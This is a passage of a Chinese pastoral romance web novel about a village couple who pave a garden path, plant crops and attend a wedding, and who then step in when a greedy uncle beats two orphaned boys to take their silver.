徐承安早问过徐启儿的意思,他不愿过继给别人去当儿子,反正徐应子在的时候,就是他一人带弟弟,如今日子还是一样过,好歹没了打骂他的混账爹。 当着众人面,徐承安把剩下的一两三钱银子交到徐启儿手里,说徐启儿年龄不算小,已能当家,从此就自立了门户,连徐瑞儿都不用过继给旁人,他兄弟二人还有两亩薄地去种,都是能承继家业的儿子,田地房产自然都是他俩的。 众怒难犯,徐明子本就不占理,里正一锤定了音后,他心里不爽快,但没敢出言反驳,之前就已经得罪一次徐承安,他哪里还敢耍嘴皮子,灰溜溜离开了。 家里一个大人都没有,就靠两个半大小子自己过活,确实可怜了些,但这个结果倒是最好的。 顾兰时跟着人群往外走,他回头看了眼,徐启儿神色依旧有些不安,手里紧紧握着那点碎银子。 第66章 未时快过去了,太阳没有正午那么晒,顾兰时头上戴着草帽,裴厌推着板车,两人一起出门。 外头菜地的一圈篱笆已经全围上了,连他们的院子都被围在里头,说是菜地,如今跟前院差不多了。 为把稳起见,没有在东西两边开篱笆门,只有南边有个正门,弄得宽大结实,又好看又牢固。 往后要出去,就抄不了近路,只能先出南边篱笆门。 顾兰时很高兴,今天要去河边捞石头石块,好把菜地中间这条路铺出来。 他看看脚下两条线,又在东西两边瞅瞅,明显东边地界大一点,之前锄地时没丈量,两边土地不对称,不过这也好。 他开口道:“回头路铺出来,把石子路东边的地面拍平了,弄一条道,好走板车,不然太颠了,人走着不费事,车轱辘却不好走。” 他家就是这样,前院也有石子石板铺的路。 “嗯。”裴厌点点头,确实是这样。 到河边后,他俩先往东边上游走,河道曲折,上游拐了好几个弯,有坡地有缓地,湍急的流水不好下去,两人停在一处平缓流段,这里石头较多。 裴厌放好板车,顾兰时在一旁挽裤管衣袖,脱了草鞋放在石头上,随后就下了水。 小石头被冲下山,也不知经历了多久,有棱角的少,多是圆润光滑的。 两人都下了河,随手捞随手往岸上抛,准头好了能直接扔在板车上,若失了准头,掉在岸边也不要紧,等会儿上去再捡就好。 站在水里凉快,这活比其他活轻松些。 “鱼!”顾兰时轻呼一声,连忙去抓,但大鱼尾巴一摆,从他眼前溜了,连尾巴都没碰到。 “可惜了,那么大个。” 虽这么说,他脸上笑意不减,边捡石头边看还有没有鱼儿在附近。 游鱼滑溜,在水中更是轻松自得,哪里是人手能捉到的。 试了几次后,顾兰时不再贪玩,专心捡起石头。 河水清澈,翻动河底大小石头的时候,发现了不少田螺,有的个头不小,他拾起来说:“竟忘了这个,没带木桶,这会儿的螺虽不如刚入秋时那样肥,但也不错了,不像春天那会儿肚子里小螺仔很多。” 裴厌也发现不少,因田螺肉少,吃起来麻烦一点,他不怎么喜欢这个,偶尔有闲心才愿意捞一些。 他也拾起自己跟前的几个田螺,说:“既然下水了,不如捞一些,养两天就能吃。” “好。”顾兰时点点头,又道:“忘记带木桶了。” 裴厌往岸边走,说:“用树叶包起来就行,等下一趟再来记得带上。” 他从树上摘了几片大叶子,过来递给顾兰时两片。 最近一直都忙,没怎么歇息,今天一边捞石头一边捡田螺就当玩乐了,并不着急。 * 干活哪有不累的,只有两个人,地里的活要忙,猪和鸡鸭要打草喂食,还要收拾这么大一片地界。 每天睁开眼就干活,傍晚天黑才得以歇息,夜里连亲近一番都难得,好容易遇到个雨天,晚上才能早早上炕,做些旖旎之事。 两人越发契合,彼此也渐渐得出些趣味来。 只是顾兰时只敢在心里抱怨,每次自己觉得够了时,裴厌总不知足,他一说对方还生闷气,明明这么大一个人,翻个身背对着他时竟那样可怜,他一心软,裴厌就跟狗啃人一样,总也不消停。 * 农家自己铺石子路,为省钱大多不买油灰,石灰和熟桐油这些东西盖房子时花钱买才合算。 石子路两人自己捞石头,又费力气从河里捞了几车沙,和着黄泥搅在一起铺路嵌石子。 石子镶嵌好,他俩又是拍又是踩的,将石头路面弄结实。 有钱人家铺石子路还会搞些花样,他俩没那个闲心,只要整齐就好了。 等石头路铺完,顾兰时提议歇两天,反正院子里有种菜,眼下不缺菜吃,不着急立马翻地深耕。 于是就这么缓了两天。 他俩有各种活干,过得差点忘了日子,还是苗秋莲来这边闲转,提了一句周石头十六日要成亲,就在后天了,顾兰时才一拍大腿想起来,连忙让裴厌去白水村买一坛酒。 十六日成亲,十五日这天周家就忙碌起来。 要和村里人打交道,顾兰时自然也要过去帮忙,他年纪轻,掌不了灶,便和年纪相差无几的年轻夫郎一起择菜洗菜,要么就是些别的杂活。 这些活计都不是重活,常常在后山没个人说闲话,和村里婶子阿嬷们说笑半日还挺高兴的。 到十六日这天,顾兰时一早就来帮忙,顺便在这边吃个早食,因不是正式宴席,早食不过糙馒头炒素菜这些。 等上午周家的亲戚朋友陆续提着贺礼到来,和他一般年纪的年轻夫郎和媳妇不是在灶房就是在屋里。 虽然成了亲,他们年轻不经事,脸皮薄,便有些不愿在院里这么多老少汉子跟前抛头露面。 顾兰时因惦记着裴厌,和他娘一起给周石头外祖家端面条时不住往门口看,快进灶房时总算看见人提着酒水进门。 周家在小河村是小姓,本家亲戚不多,只三两户姓周的,因此都认识裴厌,迎来送往的周家人一看是他,不免有些怯场,还是周平快步上前接过酒坛子。 他和顾铁山是邻居,常能看见裴厌跟着顾兰时往这边来,况且裴厌又给他们家面子,来送贺礼,哪有什么惧不惧怕的。 说了两句客套话后,见周平又有亲戚进门,和村里其他人不熟,裴厌就过来找顾兰时。 顾兰时从怀里摸了两个核桃递给他,笑眯眯说:“尝尝,这东西咱们没有,今年秋天也得上山捡些,我倒是知道哪里有野核桃树,不必满山乱转。” 他说着要去找块石头砸开,却被裴厌拦住。 裴厌一手将两个核桃握住,一用力,只听咔嚓一声,核桃就捏开了。 “我方才试着捏了两下,还挺硬的,没弄开,灶房又有活干,就赶紧去帮忙了。”顾兰时笑着又道:“刚才我看见二哥来了,你找找他,跟他一起,等会儿狗儿估计也来了,你们一起说笑喝酒,我先去忙。” “嗯。”裴厌答应着,将核桃壳剥开,趁顾兰时还没转身,将几块完整的核桃仁塞进他手里。 人来人往的,这么多双眼睛,就算别人没看他俩,顾兰时也有点说不上来的羞,他捏起桃仁吃进嘴里,笑着小声道:“我去忙了,你自己找地方坐。” “嗯。”裴厌看着他进灶房,将自己手里被捏碎的核桃仁吃掉,这才转身搜寻顾家汉子的身影。 周家本家亲戚不算太多,不过成亲这样的大事,连老一辈的亲戚都会过来,院里摆了将近十席,已算很不错。 迎亲的队伍回来后,周石头从披红挂彩的骡子上背下新娘子,在一阵喝彩声中将人背进家门。 周平和刘桂花再没有这般高兴,坐在高堂上等着来拜,周石头几个弟妹也都喜上眉头,踮着脚往外瞧,嘴里不断喊着来了来了。 顾兰时和他娘还有两个嫂嫂凑在人堆里看热闹,见裴厌在堂屋门外,没有往人群中挤,两人视线对上,眉眼里都露出笑意。 这是周石头背着媳妇进来,一群人蜂拥着来看拜堂,裴厌便后退让开。 拜过堂便开席,女眷夫郎还有孩子在院子最里面,用竹编的屏风挡住一二,外头几席全是汉子。 顾兰时因他娘的缘故,在灶上帮忙,没有去吃席,灶房里炒了菜会留几碗,他并没饿着。 刘桂花作为新婆婆,忙得脚不停,生怕大伙儿吃不好,还和两个妯娌提了酒坛往灶房来,让灶上的人得空也能吃碗酒。 因顾兰时年纪小,是她从小看到大的,便连声让他吃好喝好,千万别客气,还特意给端了碗肉菜放在跟前。 周家这么热闹喜庆,顾兰时也高兴,等筵席散了,太阳已经落山,天边云彩渐渐熄灭。 越往村后边走,热闹和喧嚣像是被隔开,耳边变得安静,连晚风都是静悄悄吹拂。 顾兰时摸摸肚子笑着说:“都有点吃撑了,又喝些酒,灌得更饱。” 裴厌左手提了根骨头棒,用麻绳绑着,麻绳一头缠在手指上,不然握着骨头一路回去,手上全是油。 这是顾兰时问刘桂花要的,棒子上肉已经没了,但拿回去给大黑磨磨牙啃一啃也好,让它也沾点肉腥。 他转头看向右边,忍不住瞥向顾兰时肚皮,夏天衣裳穿得薄,路上又没外人,顾兰时许是放松了许多,肚子果真是鼓起的。 他没忍住,轻笑一声,眉眼里也全是笑意。 “走慢点。”顾兰时拖着尾音,他心情好,又吃饱喝足了,连说话都带了几分憨甜。 裴厌立马放慢脚步,步子也不再迈得那么大,问道:“难受?” 顾兰时拍两下肚皮再不摸了,满足地叹口气,笑着说:“难受倒没有,只是有点撑,慢慢走回去估计就好了。” 晚风不知带来哪里的花香,两人慢慢走着,裴厌心情很好,进了树林子后见四下无人,右手便晃荡着,捉住顾兰时手腕,随后渐渐向下,握着自己夫郎的手。 顾兰时吃饱饭菜又喝了点酒,本就有点微醺,不然说话也不会拖尾音,他没有挣开裴厌的手,走着走着,便被裴厌拽进怀里。 树林里没有人,但他俩都不是能做出伤风败俗事情的人。 裴厌也喝了酒,他比顾兰时喝得多,此时酒意便有点上头,喉结滑动着,也不知怎么一拽,将顾兰时一把抱起,大步朝家里赶。 顾兰时在他怀里颠簸,羞是羞,却没出声阻拦,脑子里乱哄哄的,突然开口:“骨头。” 裴厌明白他的意思,说:“放心,没沾到你身上。” 顾兰时这才放心,他甚至不敢探出头看,将脸埋在男人炙热结实的胸膛上逃避。 篱笆门锁着,钥匙在他怀里,裴厌甚至没让他下去,就这样抱着开锁,一进来大黑从对面奔来,裴厌在它快到跟前时直接将手里麻绳一松,骨头掉在地上。 大黑立即叼住,找了个角落趴下就啃,显然骨头比两个主人的吸引大多了。 顾兰时被抱着没有下地,裴厌腾不开手,只能他关门栓好门闩,到院子木门前也是如此。 天渐渐暗下来,本该是盥洗沐浴的时候,两人却有点顾不上,房中春意腾腾,如火如灼,直烧得神志不清。 月亮爬上天幕,星辰闪烁,夜深了。 裴厌只穿了裤子,打着赤膊进灶房烧水,灶火和月光带来亮,隐约照见他腰背上隐秘的抓痕。 他一身蛮力,又常常发狠作弄,顾兰时叫天天不应叫地地不灵,被逼急了,哭泣着手上无意识抓挠,方才能缓解“窒息”和“绝望”。 * 蝉鸣声扰人,又到捉金蝉的时候。 顾兰时和裴厌白天依旧在忙菜地,深耕翻土要用到犁,一开始他俩自己拉,裴厌出主力,顾兰时帮忙,但地界大了,实在有些累人。 顾兰时便回家借了毛驴来拉犁,无非喂些好草料,起码人能轻松些。 家里毛驴驮东西拉石磙拉犁都很乖,不像有的驴子秉性奸滑会偷懒,别说顾铁山,连顾兰时都十分爱护。 东边菜地翻了一遍,两人和驴子都歇了一阵,到下午才继续犁西边的地。 顾兰时跟在犁旁边,对前面牵驴的裴厌说:“再攒点钱,咱俩也买头驴养着,骡子有点贵,牛就更贵了。” 毛驴虽不如老牛耕田那般更有耐力,但也是十分有用的牲口,裴厌开口道:“以前听人说过,好的驴子要三两,确实要再攒攒。” 平时不花钱还好,一到花钱的地方,六两多银子的家底倒显得不够了。 三两银子,顾兰时在心里咂摸一下,随后轻叹一声,牲口果然贵。 若到秋天收了柴豆,种过冬的小麦之前,说不定要翻地,他爹娘那边有四亩旱田,两个哥哥一共也有四亩,毛驴轮到他用之前,要连着耕作八亩地。 就像之前碾麦子一样,他俩拉回家后毛驴再能吃苦耐劳,也不如刚开始那会儿精神头济。 那六两银子他俩原本想攒着不动,要想早点买牲口早点耕田种地,看来还是得动用一些。 “不过要是今年买了,以后耕地碾场都不用借,人力就能省不少。”裴厌也想到了这点,又说:“咱们刚好有个板车,套上就有驴车使,无论赶路还是拉东西都挺方便。” 这也是乡下人会养牲口的缘由,到底方便许多。 顾兰时被他说得心动,两人一边犁地一边商量,最终决定在秋收前买一头驴回来,中间这段时日挣一些散钱铜板,就能少动点家底。 第67章 好不容易遇到个阴天,太阳看不见,还有风吹来,不过一干活依旧会流汗。 晌午,顾兰时和裴厌吃过饭后,见天好就没歇息,出来在前院菜地转。 翻过一遍地,这两天就能开沟种菜了,只是还要商量一下种什么。 他俩并肩走在石子路上,顾兰时踩着石子,一阵风吹来,带着山里草木的清新,眼前又开阔,他心情再没有这样好。 裴厌也是如此,整个人放松且自在,眉宇间透着温和,说道:“树栽在前面,菜蔬往后。” “可以。”顾兰时点点头,两人在离篱笆门不远的地方站定,两边都看一看,商量起要栽什么果树。 先前顾铁山和苗秋莲特意叮嘱过他俩,一些树不能随便往家里栽,便只能种些常见的。 风越过篱笆,吹起地面一点晒干的灰土,又拂过两人衣摆。 裴厌往石子路西边走了一步,踩着翻好的地说:“这里,种一排柿子树。” 他又往后走了几步,停下后用脚踩了几下地面,弄出一块印子,说:“这里一排石榴树,以后长大了树冠枝叶都大,分开点比较好。” “嗯,就这样。”顾兰时跟着他走动,两人又来到东边,这回不用裴厌说,他开口道:“还剩下枣树和杏树,枣子就种在这里,前面种一排杏树。” “好。”裴厌点点头,四排树只要中间有足够的空当,就不怕互相辖制。 顾兰时跟他刚才一样,在要种的地方踩出痕迹,这样十分明了,等明年栽树的时候都不用想了。 余下的地界依旧不小,他俩走得很慢,一边走一边思索,顾兰时开口道:“还要有桑树和麻,要不就在这里开一片地种麻。” 他指的正是东边枣树后面。 栽一片苎麻以后有麻线麻布用,买的就能少点。 裴厌点头道:“可以,桑树倒不用特意开一片地,院子两旁不是有些余地,随手栽种几棵就行。” 顾兰时顺着他的话往北边院落看去,两旁空地离山壁前后左右都有一段距离,地方不算小,太阳也能照到。 他说道:“也行,空地不小呢,明年记得上山挖点发出来的香椿苗,和桑树一起种下,以后开春吃香椿芽就方便了。” “好。”裴厌应下,在心里也记着了。 树木种这些差不多够了,剩下的大片地都可以用来种菜,顾兰时边想边说:“夏天种菜要么迟了,要么离入秋还早,不过丝瓜、菜瓜还有豇豆都能种。” 菜瓜又叫青瓜,和丝瓜一样要爬架,结出来的菜果比丝瓜粗也比丝瓜短一点。嫩时摘下来清炒就很香,要是摘的晚了,削去老皮照旧也能炒着吃。 “这三样都要搭架。”顾兰时又想到别的,说道:“蒿菜这时候也能种,就是得傍晚凉快了栽,天热的话,天天都要浇水。” “春菜也能多种点,晒菜干子。”裴厌补充道。 “嗯。”顾兰时点点头,春菜是家家种的家常菜,春夏秋三季都能种,长得又快,多种点没错。 夏天好种的菜就这几样了,他俩也不贪心,敲定后从院里拿了根木棍过来划线。 东边地面宽阔,同一行能划出两块地,中间除了分隔的田垄还要留一条窄道好走路,到时提水浇地就便宜。 西边整块地稍小一点,但同样能从中间分成两半,除了中间留出土路,每两块相邻的地,南北也要留出走路的地方。 等划好后,裴厌走上较高点的石子路,和顾兰时左看看又看看,虽然线划得没那么直,但将土地一块一块分得很明显。 田间阡陌小路纵横交错,因院门正好面朝正南,开垦时的方位也正,这些小路东南西北都通达。 顾兰时眼前几乎看到了以后的场景,只觉高兴,开口道:“地里拔过一遍草,不急,要不这会儿就开沟,先把春菜种了,我记得我家留了不少蒿菜种子,趁这会儿记得,我现在就回去要。” “行。”裴厌转身往院里走,去拿农具准备开沟下种,今天没太阳,种菜也合适。 顾兰时兴冲冲的,回去后告诉家里人要种菜了,顾铁山和苗秋莲连忙给他装蒿菜种子,还有菜瓜种和豇豆种。 他心里热,连坐都没坐,提着小口袋又匆匆赶回来。 东边留了两块种苎麻的地方,往后面还剩三行也就是六块地,他俩很快商议好,这三行刚好种丝瓜、菜瓜和豇豆,每一行东西有两块地。 西边除了栽树的地方,也分出八块地,和东边齐平,只是稍微窄点,八块地四块种春菜,四块种蒿菜。 地界大,光这些种出来,他两个人饭量再大都吃不完,要么晒成菜干要么挑去买,因此就没用前面种树和苎麻的地方,让空着,不然伺候不过来。 田地里还有活呢,偶尔得了闲工夫,裴厌也想去码头挣点铜板,到时就只剩顾兰时一个人侍弄菜地。 裴厌在前面开沟,顾兰时在后边下种,下好种子后将土覆盖上,下一段舀一瓢水浇一段,浇完又拎着种子袋和水桶往前去。 野草总是长得很快,无论水田还是旱田每天都要去转转拔草,早上还要给猪打草,鸡鸭也要喂,夏天热,天天得赶鸭子下水游一游。 到下午天凉一点才腾出手来种菜,因此花了好几天,才将两边菜地都种满。 丝瓜菜瓜和豇豆都要插竹竿木头搭架,两人又去山上砍了两大捆细长竹子下来。 插竹竿不急,芽还没发出来呢。 因见东边两块地之间空隙大,他俩挨着三个田垄种了三行韭菜,每天浇浇水,能长出来最好,长不出来也不强求。 * 总算忙完这一茬,裴厌得了空,便往码头去找零工干,顾兰时一个人在家照看田地和禽畜,倒也忙得过来。 晌午他一个人吃完饭,给狗用糙馒头拌了菜汤后没看见大黑,于是出来找,却见大黑正在菜地里跑来跑去撵鸟雀。 下了种子后,也不知道麻雀和山里的那些小鸟怎么得知的,趁人不在时刨种子。 他撵了几回被大黑看见,这两天狗就常常看守菜地。 “去!”顾兰时拍响手吆喝,鸟雀又被狗撵,呼啦啦一群飞走了。 他喊大黑回来吃饭,顺便看了几眼菜地,还好,被刨的不多,下午补种就行,等过两天出了芽,长得就快了。 大黑在外边跑得热了,一直吐舌头喘气,埋头先舔水喝,见状,顾兰时又给他添了些水。 煮的猪食晾温后,他提着旧木桶到后院喂猪,母猪正在圈里哼唧哼唧直叫唤。 一天三顿食,到点要是不喂,在前院都能听到它嚎叫,说猪笨也不尽然,起码在吃上,一点都不比其他牲口笨。 他把猪食倒进槽里,就见母猪一头拱进去,吃得那叫一个着急。 他俩喂得好,猪挺肥的。 顾兰时放下木桶,拿了铁锨和大扫帚进去清理猪粪。 之前上山砍竹子,削下来的竹枝晒干后绑了好几个大扫帚,这东西不要钱,放在后院两个,一个用来扫猪圈,一个扫鸡鸭圈。 夏天一到,粪便容易招来蝇虫,不弄干净人和牲口都容易病。 他将粪便铲出来,堆在后院角落里,弄完猪圈,又去把鸡圈鸭圈拾掇干净。 离粪堆不远,有一小堆从灶底掏出来的草木灰,他走过去铲了一锨,盖在粪便上,这样阻隔一下,落在粪堆上的苍蝇就能少些。 这些活干完,他将粪锨和扫帚靠在院墙上,到前院泥炉里抽出一根木柴,到后院点了一大把青药叶熏蝇虫。 药叶刚烧完味道有点冲,但也冲散了后院不好闻的味道,顾兰时甩甩剩下一点茎秆上的火星,怕天干物燥,又在地上戳了几下见彻底灭了,这才扔在粪堆上。 他回到前院洗手,顺带洗了一把胳膊,他脱掉草鞋踩在鞋面上,把洗手水倒出来冲冲脚,一下子凉快许多。 泥炉上煨着水,尽管是夏天,喝生冷水太伤人,尤其刚干完活特别热的时候,在家里有口温水喝才是正理。 天一热人就有点懒,见大黑趴在阴凉处眯眼,他也觉得有点眯瞪,于是关好院门回房打夏盹,也没往炕里睡,就侧躺在炕边,顺手拉过裴厌的枕头枕上。 今天早上裴厌出门时他给了六文钱,让晌午在码头买碗杂卤面吃。 说是杂卤面,面上不过放一小撮切碎的卤猪杂,再抓一把切碎的菜蔬叶子,汤里添点卤猪杂的汤汁,味道就浓郁些,吃起来比较香。 干的是抗卸这些重活,总不能回回去了都啃馒头,多少吃点好的,沾沾肉腥,也不亏待肚子。 想着想着也不知什么时候睡着了。 * 傍晚,大黑撵走麻雀后回来喝水,顾兰时给它倒在树根里让好生喝了一通,自己把饭菜都摆上桌,用碗扣着,只等裴厌回来吃饭。 如今有篱笆围着,离得又远,看不到外面,他便开了篱笆门出来张望。 裴厌不见人,却看见挖了一篮子野菜的徐启儿在不远处徘徊,见他出来立即看向这边。 后山荒草一锄,出门离树林子就近了,顾兰时别无他想,只以为是在跟前挖野菜,笑道:“挖了不少。” 徐启儿看向他身后,见大狗没出来,这才挪着步子过来,方才他听见里面狗叫声,就没敢上前敲门。 看出他的犹豫,顾兰时不解道:“你怎么了?” 徐启儿正要说话,却看见大黑从篱笆门里窜出来,吓得再不敢动。 “回来。”顾兰时喝止一声。 大黑便不再往前,看几眼生人,轻甩两下尾巴退回顾兰时腿边。 原以为只有裴厌才能制住疯狗,还好顾兰时也可以,徐启儿这才找到声音,看一眼大狗脸上有点畏惧,又看向顾兰时开口:“兰哥哥,我想,把银子烦你拿着,明叔这几天见着我,想逼我将银子给他保管。” 他脸上凝结着一股郁结之气,全然不像这个年纪的孩子,沉闷闷的,又说:“以后我买米面,你再给我。” 他说完看着顾兰时,满眼都是忐忑。 徐明子贪心,总想从他手里把一两多碎银掏进自己兜里,虽然不敢明抢或是偷盗,可徐启儿一个半大的孩子,如今是立了门户,但面对好几个大人时,自然弱了一头。 他心中苦闷不已,银子带在身上一刻都不敢松懈,又怕自己在逼迫下松了口,若被拿走钱,以后连饭都吃不上。 思来想去,若交给亲戚,被徐明子知道的话,肯定会过去闹,对里正他天然有种敬畏感,更何况他爹下葬那天,徐明子连里正都敢冲撞,因此也有点不敢去找徐承安,生怕给人家添麻烦招来厌弃。 下午徐明子又在他家门口堵他,他实在被逼的没办法了,心一横就来找顾兰时。 苗秋莲向来对他很照顾,他心里虽然没底,也不知道自己的钱会不会被昧掉,毕竟连自家亲戚都是那样,但还是开了口。 顾兰时一愣,没想到他会说这些,一两银子对乡下人来说也金贵,他看着徐启儿有点不知道怎么办好,只得叹口气,问道:“你就放心给我?不怕我花了不给你?” 这话一出,徐启儿也说不上来,却莫名觉得顾兰时能这么说,反而不会花自己的钱,他眼中带着愁苦,恳求道:“兰哥哥,我实在没办法了,钱在我这里可能守不住。” 他低声求了好一会儿, 顾兰时拿不定主意,又看他实在凄惨,轻叹一声说:“先不急,等我晚上问问你裴厌哥哥,看他怎么说,若行的话,明天我去你家里找你,若不行,我就不过去了。” “好,我明天一天都在家。”徐启儿带着一腔忐忑走了。 第68章 裴厌回来天色已经暗了,见他狼吞虎咽往嘴里扒饭,明显饿了,顾兰时没提徐启儿的事,让他先吃饭。 填饱肚子之后,裴厌放下筷子,从怀里取出荷包递过去,说:“三十文,不多。” 顾兰时接过,也没数,晃一晃听听里面铜钱响动,笑着问道:“给你的六文钱买面吃了?” 裴厌点头,开口道:“买了,今天我一提,二哥也过去吃了。” 早起去码头时他顺路喊了顾兰生顾兰河,顾兰生今天要陪张春花回娘家,没有去,他便和顾兰河一起去码头找活干。 他又说道:“包袱上蹭到一点泥,好在没弄脏里面。” 顾兰时顺手从旁边椅子上拿过包看,说道:“不要紧,要是觉得脏,我这会儿先去洗,明天一早就干了。” 这包是他特地给裴厌缝的,之前用一块布打包袱装干粮,一路都要拎在手里,装的馒头一多,夏天衣裳薄,不好揣进怀里,到了码头还得找管事的存放,不然会有顺手牵羊的。 有时扛东西离开码头,饿了想垫一垫没法立即吃到嘴,到底不方便。 听裴厌说了一次后,他干脆将布缝成一个小口袋,能装四五个馒头,开口做的和香囊一样,用两条细绳穿了,要想把口收起来绳子一拽绑结实就好了。 他又缝上一条宽布,如此就有一条能背在肩上的带子。 因裴厌在码头要抗重东西,褡裢搭在肩上虽说能护一下肩膀头,可行动之间要是把褡裢蹭掉,馒头摔在地上得不偿失。 这个小包挂在肩上,垂在腰侧或放在身后都行,不会碍着干活,馒头干粮背在身上,就不用到处找地方存放。 顾兰时起身往院里走,见裴厌跟过来,他笑着说道:“明天得了空我再缝一个,两个好换洗。” “嗯。”裴厌答应一声,既然下意识跟出来了,他不好硬蹭在自己夫郎身边,装着给大黑舀水忙碌了一下,这才在旁边蹲下。 顾兰时浸湿布包,他十分有眼力见,给递了个野澡珠。 “对了,今天启儿过来找我。”顾兰时突然想起这件事,说道:“他说徐明子逼他拿出那一两银子,嘴上说得好听,要帮他保管,他没了办法,说想把钱放在咱们这儿,他若想买米面时,再过来要。” 裴厌眉头微皱,心里有点不想沾上麻烦。 顾兰时看他一眼,继续搓洗手里的布包,说:“我看他可怜,当时没答应,只说等你回来商议。” 裴厌开口道:“他怎么没去找里正?里正恰好是他们徐家人,做长辈的,也该照顾他兄弟一二,交给里正想来徐明子也不敢过去耍混。” 见顾兰时像是有些可怜对方,他同人分析利弊,说道:“咱们若拿了人家的钱,知道的还好,不知道的说咱们欺负他兄弟俩年幼,连银钱都霸占了去。” “他求我时也说了,他爹在的时候一直赌,里正都管不住,徐应子一喝酒,嘴上又没个把门的,给里正气的再不管他,自那以后关系就闹得不好。” 顾兰时一边洗一边说:“上回当着那么多人面,徐明子还污蔑里正贪钱,启儿就更不敢去找里正。” “不过你说的对,传出去被有心人嚼几句舌根,好事都能变成坏事,沾上钱就更说不清。” 他轻声叹口气,说道:“咱们也只好不管了,只是可怜启儿,被几个混蛋逼迫,那么大的人,也不是没见过世面,为一两银子连孩子都不放过。” “人为钱什么做不出来。”裴厌说道,又开口:“明天就不去码头了,水田要灌水还有柴豆地里这两天也该浇水了。” 顾兰时点头道:“好,明天我起来早点,一起去。” * 翌日清晨,村子那边传来一阵鸡鸣,顾兰时睁开眼,天刚蒙蒙亮,屋里光线昏暗。 早早下地的话,晌午还能回来歇一会儿,他打着哈欠坐起穿衣。 见旁边裴厌也起来了,他带着朦胧睡意说道:“咱们也该买只公鸡回来养,有只大公鸡的话,以后想育雏也方便。” “嗯,回头我去禽市看看,有合适的就买一只回来。”裴厌答应着,穿好先下了炕。 盥漱过后,早食吃得简单,几个冷馒头就着咸菜片吃,水倒是烧开的热水,早起还带着凉意,喝点热水也舒坦。 吃完喂好猪和狗,又给鸡鸭剁草,拌些麦麸倒进圈里,两人这才收拾着去下地。 田间灌水浇地不是要往河边走就是往水井那边去,但顾兰时还是舀了一罐热水提上,烧开的水更干净,喝起来放心。 裴厌肩上扛着两根扁担,扁担上挂了四个空桶,一走动水桶轻撞,他率先出门,顾兰时拎着瓦罐在后面锁两道门。 锁院门之前见大黑跑出去,顾兰时没喊它回来,前面菜地大,任它去撒欢奔跑,况且大黑还能赶鸟雀,于是他顺手把狗的树根食盆拿出来,又倒好水,省得它跑渴了没处喝。 锁好篱笆门后,裴厌在前面等着,他快走几步追上,两人一边说几句家常话一边往地里走。 路过家门口时,顾兰时朝里看一眼,院里没人,却听见他娘在灶房喊竹哥儿,于是他喊了声娘。 苗秋莲从灶房出来,见他俩在门口也没往外走,天天路过也没多少正事要说,只问道:“你俩去地里?” 顾兰时笑着点头:“嗯,天旱,去浇地。” 苗秋莲便冲他俩抬抬手,说:“快去吧,我和你爹过会儿也下地。” “那我走了娘。”顾兰时说着,又和裴厌往前走。 他俩起得早,肚子都垫过了,村里有的人家才陆续开院门,最近天旱没怎么下雨,也有和他俩一样扛着扁担去浇地的,碰见了免不了问候几声,随后各走各的。 走到村子中间,看见徐明子迎面过来,他家并不在这边,而在东边这一排人家后面,一大清早不去下地,也不知过来做什么。 想起昨天徐启儿找他,顾兰时下意识停了脚步,见徐明子果真停在徐启儿家门前,他眉头一皱,心想这混蛋是不是又要使坏了。 果然,徐明子一进去,就听见院里徐启儿警惕而尖锐的声音,问他有什么事。 顾兰时看一眼裴厌,两人便快步上前,在徐家门口停下朝里张望。 徐明子背对着他俩,语气倒是和蔼:“叔这是为了你好,你年纪小,哪里知事,恐怕被人哄了都不知道,那点钱我也不缺,不过是替你管着,要买什么吃什么,到时候尽管同叔和婶子说,我俩一定给你买来,绝不叫你吃亏。” 徐启儿这些天被逼得无法,又被上门堵着,他神色有些崩溃,勉强稳住心神道:“我自己不用你管。” 因他俩驻足在这里,像是在看热闹,其他人瞧见被勾起好奇心,也忍不住停下,只是离裴厌远了几步。 听见徐明子如此无耻,连姓徐的本家都有些忍不了。 徐世文将手里扁担一头杵在地上,站在后面一脸鄙夷开口:“我说明子叔,那钱是人家的,人家又不是没长手,你何必费心。” “要你多嘴!”徐明子想发点小横财,徐世文也是他堂侄儿,一听声音就知道是他,于是骂骂咧咧转过身:“狗娘养的,就你张了嘴,看老子不收拾你……” 他大字不识一个,也是个混不吝的混账,常常把脏话挂在嘴边,但在转头看见裴厌面无表情瞅着他后,脏话戛然而止。 徐启儿也看见了顾兰时,他心中燃起一份希望,一时却不知要怎么开口询问。 徐世文年轻,被骂的这样难听也冷了脸:“叫你声叔不过看你是长辈,你可别太得意。” 见裴厌只是站在那里看热闹,没有别的动静,徐明子放下心,这是他们徐家事,谁也管不着,便又骂道:“小王八羔子,在你明子叔跟前也这样张狂,别说是你,你爹妈来了我也不怕,今儿就看谁刮了谁的皮。” 他挽袖子握拳头,在别人家也一副横样,气得徐世文再顾不上他是个长辈,破口大骂:“老王八蛋,丧尽天良,连孩子钱都抢,你活该遭雷劈。” 徐明子脑门青筋直蹦,喘着粗气咬牙,恶狠狠瞪徐世文一眼:“你且等着,要说抢钱,今儿不坐实了这骂名,岂不是冤屈,叫你们这些狗娘养的小看了我。” 说着,他竟先转身要去抢徐启儿的钱。 这一出连徐世文都愣住了,他原本握了扁担,就算拼着被里正责罚和长辈打架也要出了这口恶气,不曾想徐明子竟借着他的话去抢钱。 竟如此不要脸,顾兰时几乎被气笑,又十分着急,生怕钱真被抢了,赶忙对吓住的徐启儿说:“快跑,别叫他抓着。” 徐启儿吓怕了,下意识一手紧紧捂着怀,却叫人一眼看出钱就在他怀里,他想跑出来,徐明子却堵着他,一大一小便在院里你追我撵,活像耍猴。 到底年纪小,徐启儿慌乱之中被徐明子扯着后衣领抓住。 实在太欺负人了,徐世文咬牙拿了扁担冲进去,不想躲在柴房的徐瑞儿先他一步跑到跟前,哭着去咬徐明子。 可他比徐启儿还小,不过八岁,被徐明子一脚踹开,在地上滚了两滚满身狼狈,徐世文连忙扶起他。 徐启儿打不过徐明子,一时慌乱失了理智,嘴里也不知喊的什么,见弟弟被打更是尖叫一声。 他兄弟二人着实凄惨,门外看热闹的人都忍不住了,本就孤苦,还被这样欺负,气得都要进来打抱不平。 顾兰时着急,晃一晃裴厌胳膊,气到说不出话,就见裴厌放下扁担和木桶,大步走进去。 他一沉下脸,左边那条长疤透着狰狞。 有几个汉子原本都进门了,瞧见他神色,目目相觑止住脚步。 徐明子还在殴打徐启儿,后脑勺忽然挨了重重一巴掌,打得他眼冒金星,扯着徐启儿的手也就松了些。 他还没回过神,就被拽着后退几步,脚下踉跄还没稳住,脸上结结实实挨了一拳,口中当即有血腥味蔓延,人也不知怎么就倒在地上,眼前直发昏。 这回裴厌没有按住人暴打,而是从柴堆那边捡了根趁手的木棍,他看向徐启儿,伸胳膊将木棍递向对方,意思很明显。 